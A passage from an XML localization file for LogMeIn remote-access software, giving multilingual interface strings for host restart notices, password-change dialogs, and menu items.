the %PRODUCTNAME logon screen to appear.</en>
<de>Mac wird auf dem Host-Computer neu gestartet. Warten Sie bitte, bis der %PRODUCTNAME Anmeldedialog erscheint.</de>
<es>Mac está reiniciando su ordenador host. Espere a que
aparezca la pantalla de inicio de sesión de %PRODUCTNAME.</es>
<fr>Mac est en phase de redémarrage sur l'ordinateur distant. Merci d'attendre que
la fenêtre de connexion %PRODUCTNAME apparaisse à l'écran.</fr>
<it>È in corso il riavvio di Mac sul computer host. Attendere la visualizzazione della schermata di accesso di %PRODUCTNAME.</it>
<ru>На хост-компьютере выполняется перезапуск Mac. Дождитесь появления экрана входа в %PRODUCTNAME.</ru>
<ja>ホスト コンピュータで Mac を再起動しています。%PRODUCTNAME のログイン画面が表示されるまでお待ちください。</ja>
<zh>正在主机上重新启动 Mac。请等待系统显示 
%PRODUCTNAME 登录屏幕。</zh>
<ko>Mac가 호스트 컴퓨터에서 다시 시작합니다. %PRODUCTNAME 로그온 화면이 나타날 때까지 잠시 기다려주십시오.</ko>
<en-gb>Mac is restarting on the host computer. Please wait for the %PRODUCTNAME logon screen to appear.</en-gb>
<hu>A Mac újraindul a gazdagépen. Kérem, várjon, amíg 
a %PRODUCTNAME bejelentkező képernyő megjelenik.</hu>
<pt-br>O Mac está sendo iniciado no computador host. Aguarde até a
tela de logon do %PRODUCTNAME ser exibida.</pt-br>
<nl>Op de hostcomputer wordt Mac opnieuw gestart. Wacht even tot het aanmeldingsscherm van %PRODUCTNAME verschijnt.</nl>
</msg>
<msg name="REASON.NTLMERR">
<en>The authentication process did not complete.</en>
<es>El proceso de autenticación no se ha completado.</es>
<fr>Le processus d'authentification n'a pas abouti.</fr>
<de>Der Authentifizierungsprozess ist nicht abgeschlossen.</de>
<it>Il processo di autenticazione non è stato completato.</it>
<ru>Процесс проверки подлинности не был завершен.</ru>
<ja>認証プロセスが完了しませんでした。</ja>
<zh>验证进程没有完成。</zh>
<ko>인증 프로세스가 완료되지 않았습니다.</ko>
<en-gb>The authentication process did not complete.</en-gb>
<hu>A hitelesítési folyamat nem fejeződött be.</hu>
<pt-br>O processo de autenticação não foi concluído.</pt-br>
<nl>Het verificatieproces is niet voltooid.</nl>
</msg>
</cat>
<!-- password changing -->
<cat name="CHGPWD">
<msg name="TITLE">
<en>Windows Password</en>
<de>Windows Kennwort</de>
<es>Contraseña de Windows</es>
<fr>Mot de passe Windows</fr>
<it>Password di Windows</it>
<ru>Пароль Windows</ru>
<ja>Windows パスワード</ja>
<zh>Windows 密码</zh>
<ko>Windows 암호</ko>
<en-gb>Windows Password</en-gb>
<hu>Windows jelszó</hu>
<pt-br>Senha do Windows</pt-br>
<nl>Windows-wachtwoord</nl>
</msg>
<msg os="macosx" name="TITLE">
<en>Mac Password</en>
<de>Mac Kennwort</de>
<es>Contraseña de Mac</es>
<fr>Mot de passe Mac</fr>
<it>Password di Mac</it>
<ru>Пароль Mac</ru>
<ja>Mac パスワード</ja>
<zh>Mac 密码</zh>
<ko>Mac 암호</ko>
<en-gb>Mac Password</en-gb>
<hu>Mac jelszó</hu>
<pt-br>Senha do Mac</pt-br>
<nl>Mac-wachtwoord</nl>
</msg>
<msg name="SHORTDESC">
<en>Change your Windows Password</en>
<es>Cambie su contraseña de Windows</es>
<fr>Veuillez changer votre mot de passe Windows</fr>
<de>Windows-Kennwort ändern</de>
<it>Consente di cambiare la password di Windows</it>
<ru>Измените свой пароль Windows</ru>
<ja>Windows パスワードを変更してください</ja>
<zh>更改您的 Windows 密码</zh>
<ko>Windows 암호를 변경합니다</ko>
<en-gb>Change your Windows Password</en-gb>
<hu>Windows jelszó módosítása</hu>
<pt-br>Altere sua senha do Windows</pt-br>
<nl>Wijzig uw Windows-wachtwoord</nl>
</msg>
<msg os="macosx" name="SHORTDESC">
<en>Change your Mac Password</en>
<es>Cambie su contraseña de Mac</es>
<fr>Veuillez changer votre mot de passe Mac</fr>
<de>Mac-Kennwort ändern</de>
<it>Consente di cambiare la password di Mac</it>
<ru>Измените свой пароль Mac</ru>
<ja>Mac パスワードを変更してください</ja>
<zh>更改您的 Mac 密码</zh>
<ko>Mac 암호를 변경합니다</ko>
<en-gb>Change your Mac Password</en-gb>
<hu>Mac jelszó módosítása</hu>
<pt-br>Altere sua senha do Mac</pt-br>
<nl>Wijzig uw Mac-wachtwoord</nl>
</msg>
<msg name="EXPIRED">
<en>Your password has expired, you must change it.</en>
<de>Ihr Kennwort ist abgelaufen, sie müssen es ändern.</de>
<es>Su contraseña ha caducado, por lo que deberá cambiarla.</es>
<fr>Votre mot de passe a expiré. Vous devez le changer.</fr>
<it>La password è scaduta ed è necessario cambiarla.</it>
<ru>Пароль просрочен, его необходимо изменить.</ru>
<ja>パスワードの有効期限が切れたため、変更する必要があります。</ja>
<zh>您的密码已过期,必须更改密码。</zh>
<ko>암호가 만료되었기 때문에 해당 암호를 변경해야 합니다.</ko>
<en-gb>Your password has expired, you must change it.</en-gb>
<hu>Az Ön jelszava lejárt, meg kell változtatnia.</hu>
<pt-br>Sua senha foi expirada, é necessário alterá-la.</pt-br>
<nl>Uw wachtwoord is verstreken. U moet het nu wijzigen.</nl>
</msg>
<msg name="EXPIRES">
<en>Your password will expire on %PWD.EXPIRES_dts (%PWD.EXPIRES_in).</en>
<de>Ihr Kennwort läuft in %PWD.EXPIRES_dts (%PWD.EXPIRES_in) ab.</de>
<es>Su contraseña caducará el %PWD.EXPIRES_dts (%PWD.EXPIRES_in).</es>
<fr>Votre mot de passe va expirer le %PWD.EXPIRES_dts (%PWD.EXPIRES_in).</fr>
<it>La password scadrà il %PWD.EXPIRES_dts (%PWD.EXPIRES_in).</it>
<ru>Срок действия вашего пароля истекает %PWD.EXPIRES_dts (%PWD.EXPIRES_in).</ru>
<ja>パスワードは、%PWD.EXPIRES_dts (%PWD.EXPIRES_in) に有効期限が切れます。</ja>
<zh>您的密码将在 %PWD.EXPIRES_dts (%PWD.EXPIRES_in) 过期。</zh>
<ko>암호는 %PWD.EXPIRES_dts(%PWD.EXPIRES_in)에 만료됩니다.</ko>
<en-gb>Your password will expire on %PWD.EXPIRES_dts (%PWD.EXPIRES_in).</en-gb>
<hu>Az Ön jelszava ekkor jár le: %PWD.EXPIRES_dts (%PWD.EXPIRES_in).</hu>
<pt-br>Sua senha vencerá em %PWD.EXPIRES_dts (%PWD.EXPIRES_in).</pt-br>
<nl>Uw wachtwoord verstrijkt op %PWD.EXPIRES_dts (%PWD.EXPIRES_in).</nl>
</msg>
<msg name="DESC">
<en>To change your logon password, enter your current (old)
password and the new password below, then click Apply.</en>
<de>Um ihr Kennwort für die Anmeldung zu ändern, geben die ihr aktuelles (altes) Kennwort und das neue Kennwort darunter ein. Anschließend klicken sie auf Übernehmen.</de>
<es>Para cambiar su contraseña de inicio de sesión, introduzca la contraseña (antigua)
Actual y, a continuación, la nueva y haga clic en Aplicar.</es>
<fr>Pour changer votre mot de passe d'authentification, vous devez entrer votre mot de passe ancien ou actuel
et le nouveau mot de passe ci-dessous, et cliquez ensuite sur Appliquer.</fr>
<it>Per cambiare la password di accesso, immettere di seguito quella corrente (vecchia) e quella nuova, quindi fare clic su Applica.</it>
<ru>Чтобы изменить пароль входа, введите текущий (старый) пароль, под ним - новый пароль, а затем щелкните кнопку "Применить".</ru>
<ja>ログイン パスワードを変更するには、現在の (旧) パスワードを入力し、その下に新パスワードを入力してから [適用] をクリックします。</ja>
<zh>要更改登录密码,请在下面输入当前(旧)密码
和新密码,然后单击“应用”。</zh>
<ko>로그온 암호를 변경하려면 현재(이전) 암호 및 새 암호를 입력한 후 "적용"을 클릭하십시오.</ko>
<en-gb>To change your logon password, enter your current (old) password and the new password below it, then click Apply.</en-gb>
<hu>Bejelentkezési jelszavának megváltoztatásához írja be a jelenlegi (régi) 
jelszavát, és alája az új jelszót, majd kattintson az Alkalmaz gombra.</hu>
<pt-br>Para alterar a senha do login, digite a senha atual (antiga)
e a nova senha abaixo; em seguida, clique em Aplicar.</pt-br>
<nl>Als u uw wachtwoord voor de aanmelding wilt wijzigen, voert u eerst uw huidige (oude) wachtwoord en hieronder het nieuwe wachtwoord in en klikt u vervolgens op "Toepassen".</nl>
</msg>
<msg name="OLDPWD">
<en>Old password</en>
<de>Altes Kennwort</de>
<es>Antigua contraseña</es>
<fr>Ancien mot de passe</fr>
<it>Vecchia password</it>
<ru>Старый пароль</ru>
<ja>現在のパスワード</ja>
<zh>旧密码</zh>
<ko>이전 암호</ko>
<en-gb>Old password</en-gb>
<hu>Régi jelszó</hu>
<pt-br>Senha antiga</pt-br>
<nl>Oude wachtwoord</nl>
</msg>
<msg name="NEWPWD">
<en>New password</en>
<de>Neues Kennwort</de>
<es>Nueva contraseña</es>
<fr>Nouveau mot de passe</fr>
<it>Nuova password</it>
<ru>Новый пароль</ru>
<ja>新しいパスワード</ja>
<zh>新密码</zh>
<ko>새 암호</ko>
<en-gb>New password</en-gb>
<hu>Új jelszó</hu>
<pt-br>Nova senha</pt-br>
<nl>Nieuwe wachtwoord</nl>
</msg>
<msg name="TOOSHORT">
<en>Your password must be at least %PWD.MINLEN characters long.</en>
<de>Das Kennwort muss mindestens %PWD.MINLEN Zeichen lang sein.</de>
<es>Su contraseña debe tener al menos %PWD.MINLEN caracteres.</es>
<fr>Votre mot de passe doit au minimum posséder %PWD.MINLEN caractères.</fr>
<it>La password deve essere composta da almeno %PWD.MINLEN caratteri.</it>
<ru>Пароль должен иметь длину не менее %PWD.MINLEN символов.</ru>
<ja>パスワードは %PWD.MINLEN 文字以上にする必要があります。</ja>
<zh>密码长度必须至少 %PWD.MINLEN 个字符。</zh>
<ko>암호는 %PWD.MINLEN자 이상이어야 합니다.</ko>
<en-gb>Your password must be at least %PWD.MINLEN characters long.</en-gb>
<hu>A jelszó legalább %PWD.MINLEN karakterből kell álljon.</hu>
<pt-br>Sua senha deve ter pelo menos %PWD.MINLEN caracteres.</pt-br>
<nl>Uw wachtwoord moet minstens %PWD.MINLEN tekens lang zijn.</nl>
</msg>
<msg name="INSECURE">
<en>You are connected using an unsecured channel. Please connect using SSL before changing your password.</en>
<de>Sie sind über einen unsicheren Kanal verbunden. Stellen sie eine Verbindung über SSL her, bevor sie das Kennwort ändern.</de>
<es>Está conectado a través de un canal no seguro. Conéctese utilizando SSL antes de cambiar su contraseña.</es>
<fr>Vous utilisez actuellement un canal non sécurisé. Merci de bien vouloir vous connecter en utilisant
SSL avant de modifier votre mot de passe.</fr>
<it>È stata effettuata la connessione con un canale non protetto. Prima di cambiare la password, connettersi tramite SSL.</it>
<ru>Подключение выполнено через небезопасный канал. Прежде чем изменять пароль, подключитесь с помощью протокола SSL.</ru>
<ja>安全ではないチャネルを使用して接続しています。パスワードを変更する前に SSL を使用して接続してください。</ja>
<zh>建立连接所使用的通道不安全。请在更改密码之前,使用 SSL 建立连接。</zh>
<ko>보안되지 않은 채널을 사용하여 연결되었습니다. 암호를 변경하기 전에 SSL을 사용하여 연결하십시오.</ko>
<en-gb>You are connected using an unsecured channel. Please connect using SSL before changing your password.</en-gb>
<hu>Ön egy nem biztonságos csatornán keresztül csatlakozik. Kérem, csatlakozzon SSL használatával a jelszó megváltoztatása előtt.</hu>
<pt-br>Você está conectado com um canal não seguro. Conecte-se usando SSL antes de alterar a senha.</pt-br>
<nl>U bent verbonden via een onbeveiligde communicatieverbinding. Maak een verbinding met SSL-beveiliging voordat u uw wachtwoord wijzigt.</nl>
</msg>
<msg name="LOCKED">
<en>Your user account is configured in a way that doesn't let you
change your password.</en>
<de>Ihr Benutzerkonto ist so konfiguriert, dass es das ändern des Kennwortes nicht zulässt.</de>
<es>La configuración de su cuenta de usuario no le permite
cambiar su contraseña.</es>
<fr>Vous compte utilisateur n'est pas configuré de manière à pouvoir 
changer votre mot de passe</fr>
<it>L'account utente è configurato in modo tale da non consentire la modifica della password.</it>
<ru>Настройки учетной записи пользователя не позволяют изменять пароль.</ru>
<ja>ユーザ アカウントはパスワードの変更を許可しないように設定されています。</ja>
<zh>您的用户帐户的配置方式不允许您
更改密码。</zh>
<ko>사용자 계정은 자신의 암호를 변경할 수 없도록 구성되어 있습니다.</ko>
<en-gb>Your user account is configured in a way that doesn't let you change your password.</en-gb>
<hu>Az Ön felhasználói fiókja olyan módon van beállítva, hogy nem engedélyezi Önnek
a jelszóváltoztatást.</hu>
<pt-br>Sua conta de usuário foi configurada de uma forma que não permite
alteração da senha.</pt-br>
<nl>Uw gebruikersaccount is zo geconfigureerd dat u uw wachtwoord niet kunt wijzigen.</nl>
</msg>
<msg name="DONE">
<en>Your logon password has been changed.</en>
<de>Ihr Kennwort für die Anmeldung wurde geändert.</de>
<es>Se ha modificado su contraseña de inicio de sesión.</es>
<fr>Vous mot de passe a changé.</fr>
<it>La password di accesso è stata cambiata.</it>
<ru>Изменен пароль входа.</ru>
<ja>ログイン パスワードは変更されています。</ja>
<zh>您的登录密码已更改。</zh>
<ko>로그온 암호가 변경되었습니다.</ko>
<en-gb>Your logon password has been changed.</en-gb>
<hu>Az Ön bejelentkezési jelszava megváltozott.</hu>
<pt-br>Sua senha de logon foi alterada.</pt-br>
<nl>Uw wachtwoord voor de aanmelding is gewijzigd.</nl>
</msg>
</cat>
<!-- menu items and desctiptions -->
<cat name="MENU">
<msg name="HOME">
<en>System Information</en>
<de>Systeminformationen</de>
<es>Información del sistema</es>
<fr>Informations sur le système</fr>
<it>Informazioni sul sistema</it>
<ru>Системная информация</ru>
<ja>システム情報</ja>
<zh>系统信息</zh>
<ko>시스템 정보</ko>
<en-gb>System Information</en-gb>
<hu>Rendszer-információk</hu>
<pt-br>Informações do sistema</pt-br>
<nl>Systeemgegevens</nl>
</msg>
<msg name="DASHBOARD">
<en>Dashboard</en>
<de>Dashboard</de>
<es>Panel de información</es>
<fr>Tableau de bord</fr>
<it>Dashboard</it>
<ru>Инст. панель</ru>
<ja>ダッシュボード</ja>
<zh>控制面板</zh>
<ko>대시보드</ko>
<en-gb>Dashboard</en-gb>
<hu>Vezérlőpult</hu>
<pt-br>Painel</pt-br>
<nl>Dashboard</nl>
</msg>
<msg brand="LMI" name="MAINMENU">
<en>Main Menu</en>
<de>Hauptmenü</de>
<es>Menú principal</es>
<fr>Menu principal</fr>
<it>Menu principale</it>
<ru>Главное меню</ru>
<ja>メイン メニュー</ja>
<zh>主菜单</zh>
<ko>주 메뉴</ko>
<en-gb>Main Menu</en-gb>
<hu>Főmenü</hu>
<pt-br>Main Menu</pt-br>
<nl>Hoofdmenu</nl>
</msg>
<msg name="SWITCH.TO.DASHBOARD">
<en>Show Detailed Mode</en>
<es>Mostrar vista detallada</es>
<de>Erweiterte Ansicht</de>
<fr>Afficher le mode détaillé</fr>
<it>Mostra visualizzazione dettagliata</it>
<ru>Отобразить подробный вид</ru>
<ja>詳細ビューの表示</ja>
<zh>显示详细视图</zh>
<ko>상세 모드 보기</ko>
<en-gb>Show Detailed Mode</en-gb>
<hu>Részletes üzemmód megjelenítése</hu>
<pt-br>Mostrar exibição detalhada</pt-br>
<nl>Gedetailleerde weergave tonen</nl>
</msg>
<msg name="SWITCH.TO.MAIN">
<en>Show Compact View</en>
<es>Mostrar vista compacta</es>
<de>Einfache Ansicht</de>
<fr>Afficher le mode compact</fr>
<it>Mostra visualizzazione compatta</it>
<ru>Отобразить компактный вид</ru>
<ja>コンパクト ビューの表示</ja>
<zh>显示紧凑视图</zh>
<ko>간편 모드 보기</ko>
<en-gb>Show Compact View</en-gb>
<hu>Csökkentett nézet megjelenítése</hu>
<pt-br>Mostrar exibição compacta</pt-br>
<nl>Compacte weergave tonen</nl>
</msg>
<msg name="SRINFO">
<en>Info</en>
<de>Info</de>
<es>Info</es>
<fr>Info</fr>
<it>Informazioni</it>
<ru>Информация</ru>
<ja>情報</ja>
<zh>信息</zh>
<ko>정보</ko>
<en-gb>Info</en-gb>
<hu>Információ</hu>
<pt-br>Informações</pt-br>
<nl>Info</nl>
</msg>
<msg brand="LMI" name="SRINFO">
<en>See Info</en>
<de>Info</de>
<es>Info</es>
<fr>Info</fr>
<it>Informazioni</it>
<ru>Информация</ru>
<ja>情報</ja>
<zh>信息</zh>
<ko>정보</ko>
<en-gb>Info</en-gb>
<hu>Információ</hu>
<pt-br>Informações</pt-br>
<nl>Info</nl>
</msg>
<msg name="FILEMAN">
<en>File Manager</en>
<de>Dateimanager</de>
<ja>ファイル管理</ja>
<es>Gestor de archivos</es>
<fr>Transfert de fichiers</fr>
<it>Gestione file</it>
<ru>Диспетчер файлов</ru>
<zh>文件管理器</zh>
<ko>파일 관리자</ko>
<en-gb>File Manager</en-gb>
<hu>Fájlkezelő</hu>
<pt-br>Gerenciador de arquivos</pt-br>
<nl>Bestandsbeheer</nl>
</msg>
<msg name="STREAMING.TITLE">
<en>View Monitor</en>
<de>Bildschirmanzeige</de>
<ja>モニタの表示</ja>
<es>Ver monitor</es>
<fr>Affichage du moniteur</fr>
<it>Vista monitor</it>
<ru>Просмотр экрана</ru>
<zh>查看显示器</zh>
<ko>모니터 보기</ko>
<en-gb>View Monitor</en-gb>
<hu>Képernyőnéző</hu>
<pt-br>Ver monitor</pt-br>
<nl>Monitor weergeven</nl>
</msg>
<msg name="STREAMING.TITLE.BETA">
<en>View Monitor (BETA)</en>
<de>Bildschirmanzeige (BETA)</de>
<ja>モニタの表示 (ベータ版)</ja>
<es>Ver monitor (BETA)</es>
<fr>Affichage du moniteur (BETA)</fr>
<it>Vista monitor (BETA)</it>
<ru>Просмотр экрана (бета)</ru>
<zh>查看显示器 (BETA)</zh>
<ko>모니터 보기(베타)</ko>
<en-gb>View Monitor (BETA)</en-gb>
<hu>Képernyőnéző (BÉTA)</hu>
<pt-br>Ver monitor (BETA)</pt-br>
<nl>Monitor weergeven (bèta)</nl>
</msg>
<msg name="STREAMING.DESC">
<en>View-only video streaming of the remote PC monitor(s).</en>
<de>Sie können einen Videostream des Bildschirms/der Bildschirme des Ferncomputers übertragen (nur zur Ansicht).</de>
<ja>リモート PC モニタの表示専用ビデオ ストリーミングです。</ja>
<es>Ver transmisión de vídeo de los monitores del PC remoto.</es>
<fr>Streaming vidéo du ou des moniteurs du PC distant.</fr>
<it>Streaming video in sola visualizzazione del/i monitor del PC remoto.</it>
<ru>Просмотр видеоизображения с экрана (экранов) удаленного компьютера.</ru>
<zh>仅查看远程 PC 显示器上的视频流媒体。</zh>
<ko>원격 PC 모니터의 비디오 스트리밍 보기 전용</ko>
<en-gb>View-only video streaming of the remote PC monitor(s).</en-gb>
<hu>Tekintse meg videokép-közvetítéssel a távoli számítógép képernyőjét (vagy képernyőit).</hu>
<pt-br>Ver apenas transmissão de vídeo do(s) monitor(es) do computador remoto.</pt-br>
<nl>Video-stream met alleen-weergeven vanaf de externe PC-monitor(s).</nl>
</msg>
<msg name="FUNCTIONS">
<en>Server Functions</en>
<de>Serverfunktionen</de>
<es>Funciones del servidor</es>
<fr>Fonctionnalités serveur</fr>
<it>Funzioni server</it>
<ru>Функции сервера</ru>
<ja>サーバー機能</ja>
<zh>服务器功能</zh>
<ko>서버 기능</ko>
<en-gb>Server Functions</en-gb>
<hu>Kiszolgáló funkciói</hu>
<pt-br>Funções do servidor</pt-br>
<nl>Serverfuncties</nl>
</msg>
<msg name="SYSMGR">
<en>Computer Management</en>
<de>Computerverwaltung</de>
<es>Gestión del ordenador</es>
<fr>Gestion de l'ordinateur</fr>
<it>Gestione computer</it>
<ru>Управление компьютером</ru>
<ja>コンピュータ管理</ja>
<zh>计算机管理</zh>
<ko>컴퓨터 관리</ko>
<en-gb>Computer Management</en-gb>
<hu>Számítógépkezelés</hu>
<pt-br>Gerenciamento do computador</pt-br>
<nl>Computerbeheer</nl>
</msg>
<msg name="SYSCFG">
<en>Computer Settings</en>
<de>Computereinstellungen</de>
<es>Configuración del ordenador</es>
<fr>Paramètres de l'ordinateur</fr>
<it>Impostazioni computer</it>
<ru>Параметры компьютера</ru>
<ja>コンピュータ設定</ja>
<zh>计算机设置</zh>
<ko>컴퓨터 설정</ko>
<en-gb>Computer Settings</en-gb>
<hu>Számítógép-beállítások</hu>
<pt-br>Configurações do computador</pt-br>
<nl>Computerinstellingen</nl>
</msg>
<msg name="ADMIN">
<en>System Administration</en>
<de>Systemadministration</de>
<es>Administrador del sistema</es>
<fr>Administration système</fr>
<it>Amministrazione del sistema</it>
<ru>Системное администрирование</ru>
<ja>システム管理</ja>
<zh>系统管理</zh>
<ko>시스템 관리</ko>
<en-gb>System Administration</en-gb>
<hu>Rendszerfelügyelet</hu>
<pt-br>Administração do sistema</pt-br>
<nl>Systeembeheer</nl>
</msg>
<msg name="SCHED">
<en>Scheduling &amp; Alerts</en>
<de>Geplante Tasks &amp; Meldungen</de>
<es>Programar &amp; Avisos</es>
<fr>Gestion des alertes</fr>
<it>Pianificazione e avvisi</it>
<ru>Планирование и оповещения</ru>
<ja>スケジューリング &amp; アラート</ja>
<zh>计划与警报</zh>
<ko>예약 &amp; 경고</ko>
<en-gb>Scheduling &amp; Alerts</en-gb>
<hu>Ütemezés és riasztások</hu>
<pt-br>Programações &amp; alertas</pt-br>
<nl>Schedulen &amp; Alarmeren</nl>
</msg>
<msg name="SCRIPTS">
<en>Scripting</en>
<de>Scripts</de>
<es>Scripting</es>
<fr>Gestion des scripts</fr>
<it>Script</it>
<ru>Использование сценариев</ru>
<ja>スクリプト作成</ja>
<zh>脚本</zh>
<ko>스크립팅</ko>
<en-gb>Scripting</en-gb>
<hu>Szkriptírás</hu>
<pt-br>Criação de scripts</pt-br>
<nl>Uitvoeren van scripts</nl>
</msg>
<msg name="LOG">
<en>Logging</en>
<de>Protokollieren</de>
<es>Inicio de sesión</es>
<fr>Gestion des logs</fr>
<it>Registrazione</it>
<ru>Ведение журналов</ru>
<ja>ログ</ja>
<zh>日志记录</zh>
<ko>로그인</ko>
<en-gb>Logging</en-gb>
<hu>Naplózás</hu>
<pt-br>Efetuando login</pt-br>
<nl>Logboekregistratie</nl>
</msg>
<msg name="SECURITY">
<en>Security</en>
<de>Sicherheit</de>
<es>Seguridad</es>
<fr>Sécurité</fr>
<it>Protezione</it>
<ru>Безопасность</ru>
<ja>セキュリティ</ja>
<zh>安全</zh>
<ko>보안</ko>
<en-gb>Security</en-gb>
<hu>Biztonság</hu>
<pt-br>Segurança</pt-br>
<nl>Beveiliging</nl>
</msg>
<msg name="ADVANCED">
<en>Advanced</en>
<de>Erweitert</de>
<es>Avanzado</es>
<fr>Avancé</fr>
<it>Avanzate</it>
<ru>Дополнительно</ru>
<ja>詳細</ja>
<ko>고급</ko>
<hu>Speciális</hu>
<pt-br>Avançado</pt-br>
<zh>高级</zh>
<nl>Geavanceerd</nl>
</msg>
<msg name="SECURITY.LMIPRO">
<en>Security Settings</en>
<de>Sicherheitseinstellungen</de>
<es>Configuración de seguridad</es>
<fr>Paramètres de sécurité</fr>
<it>Impostazioni di protezione</it>
<ru>Настройки безопасности</ru>
<ja>セキュリティ設定</ja>
<zh>安全设置</zh>
<ko>보안 설정</ko>
<en-gb>Security Settings</en-gb>
<hu>Biztonsági beállítások</hu>
<pt-br>Configurações de segurança</pt-br>
<nl>Beveiligingsinstellingen</nl>
</msg>
<msg name="PREFER">
<en>Preferences</en>
<de>Einstellungen</de>
<ja>設定</ja>
<es>Preferencias</es>
<fr>Préférences</fr>
<it>Preferenze</it>
<ru>Параметры</ru>
<zh>首选项</zh>
<ko>기본 설정</ko>
<en-gb>Preferences</en-gb>
<hu>Beállítások</hu>
<pt-br>Preferências</pt-br>
<nl>Voorkeurinstellingen</nl>
</msg>
<msg name="MINIMIZEMENU">
<en>Wide Screen Format</en>
<de>Breitbildformat</de>
<es>Formato de pantalla amplia</es>
<fr>Format écran large</fr>
<it>Formato schermo grande</it>
<ru>Широкоэкранный формат</ru>
<ja>ワイド画面フォーマット</ja>
<ko>와이드 화면 형식</ko>
<hu>Szélesvásznú megjelenítés</hu>
<pt-br>Formato widescreen</pt-br>
<zh>宽屏幕格式</zh>
<nl>Formaat van breedbeeldscherm</nl>
</msg>
<msg name="MAXIMIZEMENU">
<en>Standard Screen Format</en>
<de>Standardformat</de>
<es>Formato de pantalla estándar</es>
<fr>Format écran standard</fr>
<it>Formato schermo standard</it>
<ru>Стандартный формат</ru>
<ja>標準画面フォーマット</ja>
<ko>표준 화면 형식</ko>
<hu>Normál képernyős megjelenítés</hu>
<pt-br>Formato de tela padrão</pt-br>
<zh>标准屏幕格式</zh>
<nl>Formaat van standaardscherm</nl>
</msg>
<msg name="LEARNMORE">
<en>Learn about</en>
<de>Weiter Informationen zu</de>
<es>Aprender acerca de</es>
<fr>A propos de...</fr>
<it>Informazioni su</it>
<ru>Дополнительные сведения о</ru>
<ja>詳細を見る</ja>
<zh>了解</zh>
<ko>알아보기</ko>
<en-gb>Learn about</en-gb>
<hu>További információk</hu>
<pt-br>Saiba mais</pt-br>
<nl>Meer informatie</nl>
</msg>
<msg name="OPENNEW">
<en>Open in new window</en>
<de>In neuem Fenster öffnen</de>
<es>Abrir en una nueva ventana</es>
<fr>Ouvrir dans une nouvelle fenêtre</fr>
<it>Apri in un'altra finestra</it>
<nl>In een nieuw venster openen</nl>
<pt-br>Abrir em nova janela</pt-br>
<hu>Megnyitás új ablakban</hu>
<ru>Открыть в новом окне</ru>
<ja>新しいウィンドウで開く</ja>
<ko>새 창에서 열기</ko>
<zh>在新窗口中打开</zh>
</msg>
<cat name="LMISTART">
<msg name="TITLE">
<en>What would you like to do?</en>
<es>¿Qué desea hacer?</es>
<fr>Qu'est-ce que Vous voudriez faire?</fr>
<de>Was möchten Sie machen?</de>
<it>Quale operazione si desidera eseguire?</it>
<ru>Выберите нужное действие.</ru>
<ja>何をしたいですか?</ja>
<zh>您希望做什么?</zh>
<ko>원하는 작업을 선택하십시오.</ko>
<en-gb>What would you like to do?</en-gb>
<hu>Mit szeretne tenni?</hu>
<pt-br>O que gostaria de fazer?</pt-br>
<nl>Wat wilt u doen?</nl>
</msg>
<msg name="HOME">
<en>Home</en>
<de>Startseite</de>
<fr>Accueil</fr>
<ja>ホーム</ja>
<es>Inicio</es>
<it>Home</it>
<ru>Домашняя страница</ru>
<zh>主页</zh>
<ko>홈</ko>
<en-gb>Home</en-gb>
<hu>Kezdőlap</hu>
<pt-br>Página inicial</pt-br>
<nl>Startpagina</nl>
</msg>
<msg name="GO">
<en>Go &gt;&gt;</en>
<de>Los &gt;&gt;</de>
<fr>Aller &gt;&gt;</fr>
<ja>実行 &gt;&gt;</ja>
<es>Ir &gt;&gt;</es>
<it>Vai &gt;&gt;</it>
<ru>Перейдите &gt;&gt;</ru>
<zh>转到 &gt;&gt;</zh>
<ko>이동 &gt;&gt;</ko>
<en-gb>Go &gt;&gt;</en-gb>
<hu>Ugrás &gt;&gt;</hu>
<pt-br>Ir &gt;&gt;</pt-br>
<nl>Starten &gt;&gt;</nl>
</msg>
<msg name="INITIATECHAT">
<en>Initiate chat with user</en>
<de>Dialog mit Benutzer starten</de>
<es>Iniciar conversación con el usuario</es>
<fr>Commencer une session de messagerie instantanée avec l'utilisateur</fr>
<it>Avvia chat con utente</it>
<ru>Запустить чат с пользователем</ru>
<ja>ユーザとチャットを開始する</ja>
<ko>사용자와 대화 시작</ko>
<hu>Beszélgetés kezdeményezése felhasználóval</hu>
<pt-br>Iniciar bate-papo com usuário</pt-br>
<zh>开始与用户聊天</zh>
<nl>Chatsessie met gebruiker starten</nl>
</msg>
<msg name="DIDYOUKNOWTITLE">
<en>Did you know?</en>
<de>Wussten Sie schon, dass...?</de>
<es>¿Sabía que?</es>
<fr>Le saviez-vous ?</fr>
<it>Forse non tutti sanno che...</it>
<ru>Полезные советы</ru>
<ja>ご存知ですか?</ja>
<ko>확인 사항</ko>
<hu>Tudta?</hu>
<pt-br>Você sabia?</pt-br>
<zh>您是否知道?</zh>
<nl>Wist u dit al?</nl>
</msg>
<msg name="DIDYOUKNOWBODY">
<en>LogMeIn Pro works with Skype</en>
<de>LogMeIn Pro funktioniert mit Skype</de>
<es>LogMeIn Pro funciona con Skype</es>
<fr>LogMeIn Pro fonctionne avec Skype</fr>
<it>LogMeIn Pro funziona con Skype</it>
<ru>LogMeIn Pro поддерживает Skype</ru>
<ja>LogMeIn Pro は Skype に対応しています</ja>
<ko>LogMeIn Pro가 Skype와 함께 작동합니다.</ko>
<hu>A LogMeIn együttműködik a Skype programmal</hu>
<pt-br>O LogMeIn Pro funciona com o Skype</pt-br>
<zh>LogMeIn Pro 与 Skype 配合使用</zh>
<nl>U kunt LogMeIn Pro in combinatie met Skype gebruiken</nl>
</msg>
<msg name="DIDYOUKNOWCONTENT">
<en>Share your desktop with others by creating a Desktop Sharing link and sending it in an instant messenger such as Skype.</en>
<fr>Partagez votre bureau avec d'autres en créant un lien de Partage de bureau et en l'envoyant par une messagerie instantanée comme Skype.</fr>
<es>Comparta su escritorio con otras personas creando un vínculo de Escritorio compartido y enviándolo con un programa de mensajería instantánea como Skype.</es>
<de>Sie können Ihren Bildschirm für andere freigeben, indem Sie einen Link für die Desktopfreigabe erstellen und diesen über einen Instant-Messenger wie etwa Skype versenden.</de>
<it>È possibile condividere il desktop con altri utenti creando un collegamento per la Condivisione del desktop e inviandolo tramite un servizio di messaggistica immediata quale Skype.</it>
<nl>Deel uw bureaublad met andere gebruikers door een koppeling voor Delen van bureaublad te maken en deze in een toepassing voor expresberichten zoals Skype te verzenden.</nl>
<pt-br>Compartilhe sua área de trabalho com outras pessoas, criando um link Compartilhamento da área de trabalho e enviando-o em um programa de mensagens instantâneas como o Skype.</pt-br>
<zh>通过创建桌面共享链接并在即时消息(如 Skype)中发送该链接可与其他人共享您的桌面。</zh>
<en-gb>Share your desktop with others by creating a Desktop Sharing link and sending it in an instant messenger such as Skype.</en-gb>
